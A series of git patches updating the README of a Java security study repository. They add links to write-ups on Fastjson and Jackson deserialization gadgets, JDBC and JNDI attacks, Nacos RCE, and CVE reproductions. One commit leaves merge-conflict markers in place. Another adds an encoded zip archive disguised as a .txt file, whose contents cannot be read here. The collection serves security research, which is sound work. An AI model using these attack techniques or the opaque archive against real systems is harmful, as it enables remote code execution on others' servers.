From 9916c17c04402d6f2018244bbd4ed011dbb2e1d6 Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Wed, 26 Apr 2023 14:26:04 +0800 Subject: [PATCH 001/113] Update README.md --- README.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 22a0118..8fa8b25 100644 --- a/README.md +++ b/README.md @@ -97,7 +97,8 @@ - [2021L3HCTF中关于Fastjson1.2.68的骚操作](https://github.com/Y4tacker/JavaSec/blob/main/3.FastJson专区/%E5%85%B6%E4%BB%96/L3HCTF%202021%20Official%20Write%20Up.pdf) - [一些有趣的Trick](https://github.com/Y4tacker/JavaSec/blob/main/3.FastJson专区/%E6%9C%89%E8%B6%A3Trick/FastJson%20Trick.md) - [fastjson低版本不出网利用(常规很简单的炒陈饭看看就行)](https://mp.weixin.qq.com/s?__biz=MzAwNzk0NTkxNw==&mid=2247486057&idx=1&sn=6799b8b77f058247705beaa6995dcb82&chksm=9b7721bbac00a8adc3ca7b23590bcb7493fc93091eaf76efe4662b7d6f86068e38d20338c3c1&mpshare=1&scene=2&srcid=1109kLt9Pm0fZdiqQ8zbB0IX&sharer_sharetime=1667995572392&sharer_shareid=917ce1404b071ce27556675ad135266f#rd) - +- [FastJson与原生反序列化(一)](https://y4tacker.github.io/2023/03/20/year/2023/3/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/) +- [FastJson与原生反序列化(二)](https://y4tacker.github.io/2023/04/26/year/2023/4/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-%E4%BA%8C/) ## 4.Weblogic专区(暂时不想看) From 7dcaae50b288b1f6ce3acf9895af217ae728affd Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Fri, 28 Apr 2023 14:09:30 +0800 Subject: [PATCH 002/113] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 8fa8b25..1f7b346 100644 --- a/README.md +++ b/README.md @@ -81,7 +81,7 @@ 可以对比jackson简单学习下,这里我也会简单提一下jackson的一些利用,当然不会很详细,但是会简单列出一些触发原理,而且有些payload是共通的,这里也不以收集各个依赖下利用的payload为主 - [Jackson的利用触发及小细节](https://github.com/Y4tacker/JavaSec/blob/main/3.FastJson%E4%B8%93%E5%8C%BA/Jackson%E7%9A%84%E5%88%A9%E7%94%A8%E8%A7%A6%E5%8F%91/index.md) - +- [Jackson原生反序列化Gadgets](https://xz.aliyun.com/t/12485#toc-5) - [Fastjson基本用法](https://github.com/Y4tacker/JavaSec/blob/main/3.FastJson专区/Fastjson%E5%9F%BA%E6%9C%AC%E7%94%A8%E6%B3%95/Fastjson%E5%9F%BA%E6%9C%AC%E7%94%A8%E6%B3%95.md) - [Fastjson1.1.15-1.2.4与BCEL字节码加载](https://github.com/Y4tacker/JavaSec/blob/main/3.FastJson专区/Fastjson1.1.15-1.2.4%E4%B8%8EBCEL%E5%AD%97%E8%8A%82%E7%A0%81%E5%8A%A0%E8%BD%BD/Fastjson1.1.15-1.2.4%E4%B8%8EBCEL%E5%AD%97%E8%8A%82%E7%A0%81%E5%8A%A0%E8%BD%BD.md) - [Fastjson1.22-1.24反序列化分析之JNDI](https://github.com/Y4tacker/JavaSec/blob/main/3.FastJson专区/Fastjson1.22-1.24/Fastjson1.22-1.24%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%88%86%E6%9E%90%E4%B9%8BJNDI/Fastjson1.22-1.24.md) From 140b611eb460ae31a4eb417ea954883b2df41494 Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Fri, 28 Apr 2023 14:12:24 +0800 Subject: [PATCH 003/113] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 1f7b346..d6cf247 100644 --- a/README.md +++ b/README.md @@ -46,7 +46,7 @@ 很早前学了,后面补上,更多是说一点关键的东西,不会很详细,好吧这里再拓展成反序列化专区好了 -如果想系统学习的话这部分还是更推荐p牛的Java安全漫谈(https://github.com/phith0n/JavaThings),我只是简单写写便于自己复习而已 +如果想系统学习CC链的话这部分还是推荐p牛的![Java安全漫谈](https://github.com/phith0n/JavaThings),我只是简单写写便于自己复习而已 - [Java反序列化之URLDNS](https://github.com/Y4tacker/JavaSec/blob/main/%E5%85%B6%E4%BB%96/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BURLDNS/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BURLDNS.md) - [CommonsCollections1笔记](https://github.com/Y4tacker/JavaSec/blob/main/2.反序列化专区/CommonsCollections1/CommonsCollections1.md) From 793aa9639b6ef3a5834335047cae4d2be6d0be4a Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Tue, 2 May 2023 10:09:44 +0800 Subject: [PATCH 004/113] Update README.md --- README.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index d6cf247..7ea6c47 100644 --- a/README.md +++ b/README.md @@ -101,7 +101,7 @@ - [FastJson与原生反序列化(二)](https://y4tacker.github.io/2023/04/26/year/2023/4/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-%E4%BA%8C/) -## 4.Weblogic专区(暂时不想看) +## 4.Weblogic专区(虽然也挖了一堆,暂时不想写) - [T3协议学习](https://github.com/Y4tacker/JavaSec/blob/main/4.Weblogic专区/T3%E5%8D%8F%E8%AE%AE%E5%AD%A6%E4%B9%A0/T3%E5%8D%8F%E8%AE%AE%E5%AD%A6%E4%B9%A0.md) - [CVE-2015-4852复现分析](https://github.com/Y4tacker/JavaSec/blob/main/4.Weblogic专区/CVE-2015-4852%E5%A4%8D%E7%8E%B0%E5%88%86%E6%9E%90/CVE-2015-4852%E5%A4%8D%E7%8E%B0%E5%88%86%E6%9E%90.md) @@ -276,6 +276,7 @@ - [Apache Commons JXPath 远程代码执行](https://github.com/Y4tacker/JavaSec/blob/main/16.%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/CVE-2022-41852/index.md) - [Apache Commons Text 远程代码执行](https://github.com/Y4tacker/JavaSec/blob/main/16.%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/CVE-2022-42889/index.md) - [Oracle E-Business Suite Unauthenticated RCE](https://github.com/Y4tacker/JavaSec/blob/main/16.%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/CVE-2022-21587/index.md) +- [Exploiting an Order of Operations Bug to Achieve RCE in Oracle Opera](https://blog.assetnote.io/2023/04/30/rce-oracle-opera/) ## 17.模板引擎相关 - [velocity 模板注入](https://www.cnblogs.com/nice0e3/p/16218857.html) From f2e7b8e485c548c496e8b61965660a6da0c7da71 Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Tue, 16 May 2023 12:07:04 +0800 Subject: [PATCH 005/113] Update README.md --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 7ea6c47..a7b0699 100644 --- a/README.md +++ b/README.md @@ -186,6 +186,7 @@ - [Make JDBC Attacks Brilliant Again 番外篇(作为上面Postgresql的拓展)](https://tttang.com/archive/1462/) - [Hive-RCE](https://github.com/Y4tacker/hue-hive-rce) +- [2023BalckHat Asia上补充关于informix-sqli、db2、cloudspanner、avatica、snowflake的利用姿势](https://i.blackhat.com/Asia-23/AS-23-Yuanzhen-A-new-attack-interface-in-Java.pdf) ## 10.关于JNDI的整理 From 1835a0f0f83ccca84ef76123972d7268b6f9d1f8 Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Fri, 9 Jun 2023 13:58:06 +0800 Subject: [PATCH 006/113] Update README.md --- README.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/README.md b/README.md index a7b0699..6f08b44 100644 --- a/README.md +++ b/README.md @@ -304,6 +304,8 @@ ## 其他分享 - [HtmlUnit-RCE](https://siebene.github.io/2022/12/30/HtmlUnit-RCE/) +- Nacos + - [Aliababa Nacos hessian JRaft反序列化(文章里提到的只能打一次有误,后经过研究可以打多次)](https://y4er.com/posts/nacos-hessian-rce/ ) - JMX - [JMX RMI攻击利用](https://github.com/k1n9/k1n9.github.io/blob/aeeb609fe6a25d67bc2dc5f990a501368fb25409/_posts/2017-08-24-attack-jmx-rmi.md) - [一次从jmx到rce](https://mp.weixin.qq.com/s?__biz=MzIwMzIyMjYzNA==&mid=2247506824&idx=1&sn=1bff6060290c0fdb7fe059cff2c61153&chksm=96d0208da1a7a99b6e61c8e3c332d324c0296bbccf1163cb8a10760e57cd17e150cb23a0e36a&mpshare=1&scene=1&srcid=1220PA2K5MY7dM3gWTr06z4r&sharer_sharetime=1671532238935&sharer_shareid=19374164c9d8647c6159e09a97bb1208#rd) From 93e7f5e36eef777dc39521574f2419162c07955e Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Fri, 9 Jun 2023 14:00:45 +0800 Subject: [PATCH 007/113] Update README.md --- README.md | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/README.md b/README.md index 6f08b44..5f92362 100644 --- a/README.md +++ b/README.md @@ -96,12 +96,20 @@ - [关于blackhat2021披露的fastjson1.2.68链的一些细节,防止公众号以后找不到同目录下有备份](https://mp.weixin.qq.com/s?__biz=MzUzNDMyNjI3Mg==&mid=2247484866&idx=1&sn=23fb7897f6e54cdf61031a65c602487d&scene=21#wechat_redirect) - [2021L3HCTF中关于Fastjson1.2.68的骚操作](https://github.com/Y4tacker/JavaSec/blob/main/3.FastJson专区/%E5%85%B6%E4%BB%96/L3HCTF%202021%20Official%20Write%20Up.pdf) - [一些有趣的Trick](https://github.com/Y4tacker/JavaSec/blob/main/3.FastJson专区/%E6%9C%89%E8%B6%A3Trick/FastJson%20Trick.md) +<<<<<<< Updated upstream - [fastjson低版本不出网利用(常规很简单的炒陈饭看看就行)](https://mp.weixin.qq.com/s?__biz=MzAwNzk0NTkxNw==&mid=2247486057&idx=1&sn=6799b8b77f058247705beaa6995dcb82&chksm=9b7721bbac00a8adc3ca7b23590bcb7493fc93091eaf76efe4662b7d6f86068e38d20338c3c1&mpshare=1&scene=2&srcid=1109kLt9Pm0fZdiqQ8zbB0IX&sharer_sharetime=1667995572392&sharer_shareid=917ce1404b071ce27556675ad135266f#rd) - [FastJson与原生反序列化(一)](https://y4tacker.github.io/2023/03/20/year/2023/3/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/) - [FastJson与原生反序列化(二)](https://y4tacker.github.io/2023/04/26/year/2023/4/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-%E4%BA%8C/) ## 4.Weblogic专区(虽然也挖了一堆,暂时不想写) +======= +- [Fastjson低版本不出网利用(常规很简单的炒陈饭看看就行)](https://mp.weixin.qq.com/s?__biz=MzAwNzk0NTkxNw==&mid=2247486057&idx=1&sn=6799b8b77f058247705beaa6995dcb82&chksm=9b7721bbac00a8adc3ca7b23590bcb7493fc93091eaf76efe4662b7d6f86068e38d20338c3c1&mpshare=1&scene=2&srcid=1109kLt9Pm0fZdiqQ8zbB0IX&sharer_sharetime=1667995572392&sharer_shareid=917ce1404b071ce27556675ad135266f#rd) + +- [Fastjson与原生反序列化](https://y4tacker.github.io/2023/03/20/year/2023/3/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/) + +## 4.Weblogic专区(暂时不想看) +>>>>>>> Stashed changes - [T3协议学习](https://github.com/Y4tacker/JavaSec/blob/main/4.Weblogic专区/T3%E5%8D%8F%E8%AE%AE%E5%AD%A6%E4%B9%A0/T3%E5%8D%8F%E8%AE%AE%E5%AD%A6%E4%B9%A0.md) - [CVE-2015-4852复现分析](https://github.com/Y4tacker/JavaSec/blob/main/4.Weblogic专区/CVE-2015-4852%E5%A4%8D%E7%8E%B0%E5%88%86%E6%9E%90/CVE-2015-4852%E5%A4%8D%E7%8E%B0%E5%88%86%E6%9E%90.md) From 254432874655318d5dbce85ba45f4d9c5c8fa60f Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Fri, 9 Jun 2023 14:01:13 +0800 Subject: [PATCH 008/113] =?UTF-8?q?Create=20Jackson.txt(=E6=94=B9zip?= =?UTF-8?q?=E5=90=8E=E7=BC=80=E8=A7=A3=E5=8E=8B).txt?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...16\347\274\200\350\247\243\345\216\213).txt" | Bin 0 -> 29494 bytes 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 "3.FastJson\344\270\223\345\214\272/Jackson\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Gadget/Jackson.txt(\346\224\271zip\345\220\216\347\274\200\350\247\243\345\216\213).txt" diff --git "a/3.FastJson\344\270\223\345\214\272/Jackson\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Gadget/Jackson.txt(\346\224\271zip\345\220\216\347\274\200\350\247\243\345\216\213).txt" "b/3.FastJson\344\270\223\345\214\272/Jackson\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Gadget/Jackson.txt(\346\224\271zip\345\220\216\347\274\200\350\247\243\345\216\213).txt" new file mode 100644 index 0000000000000000000000000000000000000000..2c815c950d95507dc2226a926450884d160946ba GIT binary patch literal 29494 zcmd5^cRZHe8&@(y$jFSy$WAtqQT7U1iR`^)gzCx6Dl>|V9-HhDNyy9!6|z?$tAwQd zp4;2aO%K)Y{iFB1pS!!~)8{?kbA7LIuKS#G9c4Mx14Jl56EKTa-}uXqKQK{_p~&hR zS~}X=a9mJ3gn}WWDrW>fS6s1C_8s`V4+Ul8|5o1U1rr5xTQ3h0JrN*!(bH29lTcFC zi)_%_TM2zWyGi0XHSFgwGv3?zdwYA zMogJOx*q4)grsV|(I z*ZZg64IaR5|0)lF?&2UkTswe*0_DNZ)|%bb+G=CKfe85lLjc}8c!*Sct1^9z$g@r3 z`4iM^D$_y%)w%bfzpt%469G5ZzR2NbnD=@hu!v^SNH_8eQLKg} zUZBV7baFW(vc-h!w2<`8Z@M{34{RPu<%!pZc8J)qC9o`840X;H9X?HWf3UdC zg>ypp^)cDglyA`FTFi{;B5q$HV4YFP_ci9R{m}gUdn9XA&B=F>Y_KqTP1REDDW5=m z7z_JA#mfk%+jRe^O1gvIc7)j3xc*BX;^7fx`b01Zmt@x;4 zb4hNNf69)}vv@JN0JZN-NEC-6Uo!(ik4f+>O$5UT$?+HqjMuKjL0_L$t657CkgWK8 zMPVO^d4GnUgb7!=Kr{^Fdsbod;Z+5ya+dWIv7ZOdG?-B@ztuQVNM~S}R`l>WQAwcej|0RhP5A2wwzo_eY6pM`lOs1_WG3-fZ5Z(7d86&Vj0^E)c5@?R z{eN8ffTElc`0Oy@EgqnK0X&c*=V7DU4aWd`{Oc@eKs*^>1qZ@{ql4i;9AF^a7Yp$K z?_D{7_5^Tn1UUzYPB$0;`~2$+K*KP=01bqJA2Hq3*v8mF-^tjB&C&LXgQ2nGR+ML9 z|HCNHf{d0QIP7{qA#KKe0O+rC1+{a4E0UkNGPKfnbOaefLpTpGXyCo8;XpeD3sSB!07vo)S+Wx#a`;|=a{ZU;VUVahlLf^)|be>YOI>^n$v^3sEXB# zn3)>JDx_dqMG9HE2QO$^)nUtrho)7qXz}QcQ-&YDq1@Wlns5C~wuaNhYq@r5?VJWq zc8-BZ68(9nhUIdr3$d@?o=zGfCQE0F%n!$$V(=WAxP-H48t`sNJBNSGpJ1`)?e(N# zwT~OA5l8L?w|fXZ0fKIYKqv)(78#If@gFYO^>%0Dud8waqDoC#6coyzRC&extg)lH zDIz3n>XH%RoPdJ@?;X0F=~c4rJxPQz?|$Z-(G0n`{>;^5YL+D#_pYX)PxtfV*_nQ5 z;Eh=7Y{NaM+@M~LEt_I*_04J|KK9-9$xG~}teQ8})aFU!ihEC>D4rGnLMM5~mv0!Y z>_hyb3KJFVy~3DO*O`MisSX#Y*$oK}xuSEH)#DWUDymyFF{(6oKCzlNB5%Q#Km6(> zHfD`%Z3A~_k`AijVjfSbp6JVi7(Hc2;n6qF!j9ZDzvoLHB`8@U-a%5uVy|rX)k6ar8gyAwBQtjdByn3c#Ac9J+K%(N!(=49se*!$GuM$AS*IBU_T zqR`G+!W)>~LWLv3g>Q64tlVU?Ko=TB6JpypT?!K(LDMacIO?5kyBv+`cvjll%KAY6 zrJFVf#g>mAK&3@9JW~BqESp8mD{;K9bENZ8ZE67PqX}*7+4m=#ZdTyrKT_wS>SZ6* z7xL@A=9s}`GQ7V)AWZ?rbn2EcPx`Px+e==pgkyn$=M(e$)zk)}SQcGkm4}nr_;~I~ zUps%NgoWn%xN73p&qNJvEO}068QoT{AA1^_e&=iJQr}BK)eP&aJ>fRg@`6(7cihbG zRVF?okg~Y+T;tTEZ|`!1KYSwipjvnw%kU0CSo>?72WCmB4DXwZ(VR~4SeDx{_Dj(# zjZ})NOvyAn_v7n-jRpUiFlG@7%-iz%HI_H~-!4a36O|9- zn$FZbyJ|)2M0L&E6MM;0yyy;9VeTWl=bqTh+Rc*HhQhIaeDrP3vY)cnpSqa253f%2 zc9-!USZ{AHdnjAZ{!PKm@T^cU@ljbjDmX(SXHv`2hZ7alVk2DEIV@et)2_Hv32)79 zCrz%awFpU*ebypMr+qq^+I;9`a;%V^e%b{mRg>9|M>~WR=g1WL4&@KkQBGViL1BvO z&T_j%7O*nWXBw$=c&@Z9%z#!bo#jJ7=md{sX((#Vvf$$9MTP^8cXLUSpJHJM-()kj zYp7TnG77(nmusc@_}aYZg2S-b%-mqSV)?qo^K5q2{`$Tt_M$o$TMoiVnYCGy3KHYN zD@J-Z&Q2?dt}<4fSXYFvV*}}F@(Cg$15^|gz+<;!64aN0n8dhOOxnY(|9Vh@23G}y zn9v;MpO|W)@1SCAXX|M0Wb0sV{9Ch3QFx05Dh-j(vKy8?wY4lsaLsGGgEOe4 zjzXMi8f#=>B{`ocu#RG}_4w8YVjA{;-&D} zQ(d19mMQW%t76D%C#nuKdH9jsBluoWc+u2e*uOD$H2=MvZd684xoJuT|pY}aQ-*fZh@~Q?>^B!6Ls3WBv&9h4 zAXfO4KhKc(dU#do#ZmdM3KE^YFg!qEPW`-do(LfTLADeI6%kO_@x2tr{n(N5pccry(FzA7;g5Afchs%&*R#}P^Vr*k>VP7O4~q|dsCg7pJy zyK{$!#q;B0)5I+1qeCTQ$n?Xrzs;EoA3hZ#a{)KX@4>a@H~o&E$6t-s9f2EE&qaT> zXyJb5;{9UnO8t`(TW0G|a?70;j@5GUUv2B*E|13b1&u5xWJk-|gmJeGGgZ2F8v_WIdxJV7xX zgj1b74b7xdVZ+q{zB(@QY!Zc4eIag&{YzSz=UB2|e>s;t*>y3}*xF4i{pD51D|uF4 z<$_#z5iFgenN+UV6w%vt0Y^8 z-TpIb-lSF8`&u{cMZb#4naij1KZMKQc8{uv#>?ti8K7!OdEEToS@3@Rz0U_DDKws} zX!$T&v6&lU;bgwPkAbT-aI~WGoTAUQ zOQ%#7*&r`=oW217kmmhSzgzM7P(_Xqrt#MBH)?Lnvvdk`?!*vCKhFf4|RBIUYw{r_cN78bAhHf`Y<@PB{VLuL(vrD7(wRAX3 zd`9Hk%83h(c1f&v1*y0qK4)V(dn!hjnM4F$xgzo&FQvF>#dF@YDd@u~^)T6$YPN{G z2^p%gzUj2EF%j99Xd)KdNT=ydU?~bH*^1d2b2_X<`qFc@}#+ zyc~baqLN|EEH?B9S$Vsn2D#`Lk`(EeqiFmN zdv-))p}4A2<=?HKt;g~3R%1bF{i-x%B|2f*Bf4fWQN`m(o2fSPVKTb(yX^rNd!71s z*U}2-2Xb{7@AIS{SD6&Kf#t_$*IBA@IgttX+*7(#Z56$2(I%C9gQYgAMNC&>B*VlW z?nA46^!rTNrIOk7<8rLy4EW7&h&diN66RN`_^`ig_G|i{aat=ZdtSbzkih;( zor;=xV|km}H3o0^9QMaU0;6rH;ev1v@i@i^)v=!buFM$=>z8R47Uc8qVv=Fu`G+Zf zwmq^&bWTC-Jt1X}T*lv}zcPdJjjN__Vp{2FIRVOHevT zeLSbUrNEgxX?}6`!0ic~N7pzSoy7N^bHjSklqigUw-`fhpMdvSX7et8xanB+%~)~@GKyqdJ;pU2l@Q(QTtY(M zKkC?b-L!}%+UHE7L<(y#YCTIflrvhlFn=ocOHmkO!{XVeBX+)b;u|xf_Ipd-RL39s ztmQ=zL0za;=p9Lf#uA*=8{n+g9a_ekFi80k#nKq%xWgNBsf+kuZLGPZIpD^|o(t1r z>6(onnhuS&FM1pETQ1H=)3J@$SxkH#FuF<*SpEW?)RlbxvKP}@kiER$N1LTA`q zp7{02t%$2noU=ZV9alVO{$T}GduU(CL+hy&DoFvNE<0iFj*^+!kJPDL&LmV!>XH7GN%i_tN=8-TPiMqlnKOR`j;seY%#g#82yQR^TPL>j(qFz$~I?a-v5hf&krH z1_f0FU{FXGs=y@_>wej&H_{hp$q?40n#?C%%2#T!O`$AtYpdz2H+h|214) z1$+Y~&8eD}Z1o!<_o&KMDqr9J>h784Tub`?D5Y(a(50COX39gyX^ycJqDHLJU74ea z#eDlzt|~vxG~J(#c46%!L4#P(DI;?kRffWm=2%9deHrN5_fKcGq}A2R&}4jA(d~Zf zW+vN01N%;c#ifFU`+)HFE$Y=fJysGJR)V5;z9sZ<wrz$aaU5hn|n4d%= zox6a2C|N*EA&g8ejD)taXZ64riAs4?9&?3BtA42n559By4$J}$j%=T*vr@x9-SZfn z+W7cXOeWGoMOX_!=$5rWsRpctey=QaSJwZk#UMtF0yTQz_hE>|02>5O#*RNWJ%NCO ziFl9%o-J0O-2tosE2Tdz_5%GPHa-zOZ*CO;9slRKu+}&Ku>%fp@W(qQdvF2tyvYU7 z@n7d+=e7wO#4dK-Hqp1Sv31gSGPkvXY@q9(99|Xn*KOn?k=LZ^00e*ljS8z7pjLjDM&Of%YfuICFyP6KP zPr!7JA#=9P&e`>V?l&V7(EERm6{yt!1K)_!4#wNIazR>v_is~!)M_>n*!4Cs{#*Ra zKypB2RSU1}4m(G9M&Jh~3hEu>RYz8E}SO_yS_HiN2$gu>;~<*uRL<9KXRBfW@x2 ziT2-$*Xlbw5Bl}B884zM-bg9v}!17H6(JDZdJ zB7zklHUaNl*@5=^+w6dIJ&5pE*#VB2K;u&+0SXF|d>fi8g7HZK@!`O}@eiBfLkp2P zBFP@(G+ZuIXdL~nnD6;sr|-L3Z%)RWb{m8yjKV?3xjeKBMv1ioAnsy9C_-(_%@#{mFSzj?YD_#in+;Z zLzg(zT$y`03E1_-Pq1=uhfFx1O4eBtKf%o*3FJGWJTFOB(%>3?)8dK1jS~NbY=d>{ zkx$NKbIQ3W^{B3?LD4ra@gIIxzTedaWiE6<7fsGSGiaG9tv-8SAH&(oGdC!nuk1sk zem*nuiH3|?Jr}*+*yF6&aS>(_mxdKh6h`8#dM10<)M!r~55*TN-Zyz;GbHyt6n__e zQ)z^qlY%5Gl{mIa3+>%J6X(~$o1a#Kg4&o%DP3NaN{JE06UMg%wwa5qppogRyU`*(r1SxNL&8&=gMsX6N36s?}=`;Kobio%USi8n;tR38(T7 z2^T4~G1QioY7JA$PV^OgxMLFXep0@v>*{CttEvKSse@NSQH5((4_}g-e0_%(u`m8w z*)LP34L8)~e2gKLiIot2;%ng-<6#0)Z(~M`@JifRDMHHW+?jkz8Xf8Hwng{Q%CzTZ z$A-61gv3SSKWII99iNQg&7$yg%b<6X zy3LsFZ4#>Zw)6Ux%FD+J1}Ph*yNB+HBqd*wqdwJ{GHw=k)xb}peZ;N4FE#a}$s6eu z%jYM#6g!TH%~QWrB@}VTH*KkkFz4@`g~!NZ!bh)0^E3~ByojS*{qWc$g+*Jq~HFsTbag?O*ZWb`*i2zZ%%Kek+!O^`TjK1MG^n;$+f zZsZX>d7mpLbkY72{JBh9bV!OrI(-kVzUj*{>292m!6SM+kKQ%2-9PPx0rFlW+=huF5gsdla^yKs;Do0UxU?v5)tjS+|@t{uC81f4?_`|AjVRY=u^T zQ?k5Nor{_W$)M_jXJ6_F#!8|$y(9PjgV?5@iS)Z~(^)-v9X=>xBv@+>Pw%JX3~nG7 zGStrOW%YceC~Q2Ywd(Awpz0SuJ(?B}KXi@wOf4!w()x808Y_%*eguh0=Q!%*FlWT% zln84?`-=U-$nIMwttN1#VM~R`n0e9$OY(o=a!zG@ZOlO0n@ZZt(UdUq&Q-aVV_uF7 zFWr^2Qf0w%O|tr9pb5*{hQ12P=ivx8@{E{HWpuTkNpt)Nn!Uy#zd zAn$idL8>lZZH?^u`Oy6&*DoyaRe2teGG4n>duHC2>~@AL&ieV7JQ1yrnJPYNjRUTE z0Y`XGSF7`x3WSShsL*R+rInt~h|0Ze(wH7bi)J1S&rk{GzD>ksJ8Ulh0DT}@^&&l| z4!6Fv%k{?D0H$6M_hYt{4qvO~i^-O`IwQvOUQl*@Vw$>0V194(NRHyPU&{!6#Z#SW zR`-&&_#~E(O=@r6saK6i_e9Mx!rr_=e_sA%3FlP&QMgNz{H^B z&9%2wepe(3QAG&h)W9tVgihuU&MXPQKCK20lF;k=q_U@JEvw9%@lHk)%1|uk zI%N7Ae|TUYMERbmFjBIqHKtQ;jMQCMTSs(cpNderDPF~cvXdl{Jq+Dsd9n&oN&_+} z+;bM69p08-CewFwNO8WXzEI0#^V#>-S=M1|Rst9K!n9MS&9rmO1C~msg{Qp3$MbtL z^AE}~m>ORoQF@W_U@S|PC_L|xPLltkjv#Sv$6desEwS_r)jSorjCz_Es)=b*nT@q2 zT4|P*q)MdYZD?pk{TLp64($;Leziu?g|?7+lTH_FO~i*K_~G-sd^e&FCPk0;>;(Jd z?070Oq;6QY*W{5`ygyDHlPo2}ciSEBcGa6sf{!H1FW(YmuqI@nJkBY~zVVDd!|;27 zvbNOWAa!pRaf^LC*~0<*CyI`oJfkfTf|hrlHAvkjQ#>)CK$GZ`9}7lZZuE4oavYx) ztvzLZhi0h-(Qw-7kkx4J0OOaUY5F)XBv`OC$+B@ZR6k_cUE#-%!qyZH;fe5&Q6rNw zWX%dPu;wPk^+iR?qNrchJaH-@C5>FYMs{BdTA{bO_B4NQU-*()OI&+3jMM7G<%dEc z!yQaFSXoC)sE8@O%tYCu9Enb(nczu<6LL{e=zB z4z-gF5#n5lW${tBmb&STVXh&B&Us)VO(#e~Itjhz5itR7xZiU5T_O+dFORXaI7SAK z582YJR%D-bJNoci4=Ha^X|(OErI5fubKyg%#T^mWn*NGi`i#qEm;*L%zL_YoCYA`G z=Z4vks#V^JXiEweQCYonE(9H?T;PM3*XiI<_lIVE*nxFCA^O;#&)llJ#2!?hsl-NpTF+E;(yZ0;EfG~X&kAZiYkMSXIz6tGOf0Q$RDpLn1 z92cG>8B>{IJ-AIm^rC(ER{W@-c;^T4g2)tW!W8Q{V_Jfu;DOwSH(HrqOp&UeToFU} zW!&EIN%j&ntC$ zL}F{m*1`+l*-MVFysHE@i(2-XedRfbf&ye^yD!1G*2d61r2`x$8aS_6pm*DVhE1qWCl@O=xeHEb7RyYe@54t~M?(KjMH zGH?AEYUfG=i1pVQ+v%gc5XN={o$Zu?K5C@zq;FtuWArbUYebQ8_*>xYdLaCN$7_La zaHv<=;G&=awLHk}5bCuXaeQ-`9B?W@#Dm0rlhrROjq(#+o6DJ>XgqiHVWj%ko2w{X zSy7?Bw3nBS(X(Tpvzbr|ud3$0!m=-7hXIGc}S!i}aQg4O6?5eYlvmEIf+uSw6RVXVZWMbMWP* ze$j*q`VyQGIW{hmdCFr{?~n8NQpklITb!JV;#L!PCTC#t&Jrn7|CC?QOei>5{O)Z) zQ4~uI?C>K>wX*$G*8V1zRm^hVN94OOmMTxW=PVtdD;SHP4)n+?&{J(4UQdt3LMN;oCC!p_)$zPV^r4?V<1+r(eM3ElH06H?T-dh#0KZM;!51OuyQd`o8cvf%u6Ze z4BP)B@$J4v0}XeYc{}C&YzQQq?XETEspact2XnJ&G=dzLnNJPdO_qF zN^{pMSEd`m#(7+k3BeZ{!zZH96r_%07hR5tESmbzLDoB1RXc}|9_QQIh;B6}Va1}v zLm{U7h@i=6W&%g2;rYh_m!Wb-p5fXSF3Ori_PpApgX+>a1hH63JcqpteLhdljE-tw z%C@oT7gRoIx^Ibi%#17+drtC&gW04o)`5UX>?sS2Yj>w+UsP3+qgF@om5;yac|J+p zcQ#a|fm5aC<&`}0d-^c;R|*>aUwNYiI|i7IjISl%!I)`my1+0>DL8nyi^uDhYMvbn zihlwXQH?Tb>yrv}>P(WD(1q{A`%sATaaG*iC5-1}PtheWxR(Nuw}$1J9YfiUdY zP2t(+^70gAa1S*ZbIaS-A+jt!s;6_ZC<9WPj!n60=0wR zpxF^FYM)c^mCN7lzc|1Cihf(iF!4YIwR{z|6=Bs_-2mQe-9e)VdTgsSsv@jc=U&^m z93~vLX&WVXmqD+z{K$j9ACn}+Zat1aQ`qY29ZDOu%HRsUR-Xs2rq_Yo^&~gtaa+X6 zIUt&C<*v{;2V@Vx?D5l9#rD|{8t{Iku0MsmzdkGO%p-uT2zmTQJ}LhH`NVH9xE*qP 